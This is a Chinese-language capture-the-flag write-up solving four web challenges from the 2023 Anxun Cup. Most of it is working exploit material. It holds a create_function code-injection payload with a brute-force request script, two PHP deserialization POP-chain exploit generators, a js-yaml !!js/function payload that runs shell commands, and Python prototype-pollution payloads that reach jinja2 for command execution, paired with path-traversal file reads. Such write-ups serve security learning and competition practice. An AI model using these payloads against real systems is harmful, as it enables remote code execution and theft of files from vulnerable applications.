【Web】2023安洵杯第六届网络安全挑战赛 WP

时间：2024-12-08 15:05:39

目录

What's my name 

easy_unserialize

signal

Swagger docs

赛题链接：GitHub - D0g3-Lab/i-SOON_CTF_2023: 2023 第六届安洵杯 题目环境/源码

What's my name 

第一段正则用于匹配以 include 结尾的字符串，并且在 include 之前，可以有任意多个 5 个字符组成的块。

下面明显可以看到create_function注入PHP代码 之create_function()函数_create function-****博客

再一个条件判断

如果 $d0g3 的长度等于 $miao 字符串的最后两个字符的值，且 $name 严格等于 $miao的值

匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数 

先测payload的长度

1234'"]);}include('php://filter/read=string.strip_tags/resource=admin.php');echo 'Z3r4y';/*

print(len("""1234'"]);}include('php://filter/read=string.strip_tags/resource=admin.php');echo 'Z3r4y';/*"""))
# 91

再写个脚本循环发包include读到flag

import requests
url="http://127.0.0.1:9999"
while 1:
    a=requests.get(url+"?d0g3=1234%27%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'Z3r4y';/*&name=%00lambda_91")
    print(a.text)
    if"Z3r4y" in a.text:
        break
    print("testing...")
print(a.text)

easy_unserialize

瞪眼看链子

You#__wakeup -> Luck#__unset -> Good#__isset -> To#__set -> Luck#__get -> To#__call -> Luck#__toString -> Flag#__invoke

先FilesystemIterator扫目录 

 exp:

<?php
class Good{
    public $g1;
    public $gg2;

}
class Luck{
    public $l1;
    public $ll2;
    public $md5;
    public $lll3;

}

class To{
    public $t1;
    public $tt2;
    public $arg1;

}
class You{
    public $y1;

}
class Flag{

}

// You#__wakeup -> Luck#__unset -> Good#__isset -> To#__set -> Luck#__get -> To#__call -> Luck#__toString -> Flag#__invoke



$h=new Flag();
$g=new Luck();
$f=new To();
$e=new Luck();
$d=new To();
$c=new Good();
$b=new Luck();
$a=new You();
$h->FilesystemIterator='/';
$g->l1=$h;
$f->arg1='';
$f->t1=$g;
$e->ll2=$f;
$d->tt2=$e;
$c->gg2='$';
$c->g1=$d;
$b->md5='wSjM90msQ7RqwX3tvQ42';
$b->lll3=$c;
$a->y1=$b;
echo serialize($a);

 再SplFileObject读文件

<?php
class Good{
    public $g1;
    public $gg2;

}
class Luck{
    public $l1;
    public $ll2;
    public $md5;
    public $lll3;

}

class To{
    public $t1;
    public $tt2;
    public $arg1;

}
class You{
    public $y1;

}
class Flag{

}

// You#__wakeup -> Luck#__unset -> Good#__isset -> To#__set -> Luck#__get -> To#__call -> Luck#__toString -> Flag#__invoke



$h=new Flag();
$g=new Luck();
$f=new To();
$e=new Luck();
$d=new To();
$c=new Good();
$b=new Luck();
$a=new You();
$h->SplFileObject='/FfffLlllLaAaaggGgGg';
$g->l1=$h;
$f->arg1='';
$f->t1=$g;
$e->ll2=$f;
$d->tt2=$e;
$c->gg2='$';
$c->g1=$d;
$b->md5='wSjM90msQ7RqwX3tvQ42';
$b->lll3=$c;
$a->y1=$b;
echo serialize($a);

signal

漏洞的点在yaml反序列化

js-yaml的版本是3.14.1

 公开搜到很多3.13.1之前版本的jsyaml漏洞利用，但靶机是3.14.1，我们去看commits

 看到3.14.0之后就是4.0.0

 render传给preview.ejs渲染的时候会调用属性的toString方法

最终payload:

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /f*').toString(); return flag;}"}

 直接读到flag

Swagger docs

任意文件读取读源码

看到update存在原型链污染

先注册登录

 

 

参考CTFtime.org / idekCTF 2022* / task manager / Writeup

可以污染下面的值来利用render_template_string去RCE

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported[0]

payload:

{
  "__init__": {
    "__globals__": {
      "__loader__": {
        "__init__": {
          "__globals__": {
            "sys": {
              "modules": {
                "jinja2": {
                  "runtime": {
                    "exported": ["*;__import__('os').system('ls /app > /result1');#"]
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

 

先随便读个文件触发render_template_string

/api-base/v0/search?file=../../../../../app/run.sh&type=text

再任意文件读即可 

/api-base/v0/search?file=../../../../../result1&type=text

再污染一次

{
  "__init__": {
    "__globals__": {
      "__loader__": {
        "__init__": {
          "__globals__": {
            "sys": {
              "modules": {
                "jinja2": {
                  "runtime": {
                    "exported": ["*;__import__('os').system('cat /app/Cx05PYxZKFIK2aLjb9HjYuyvn1IJHz0T_FLAG > /result2');#"]
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

 再触发一次

/api-base/v0/search?file=../../../../../app/run.sh&type=text

再读一次 

/api-base/v0/search?file=../../../../../result2&type=text

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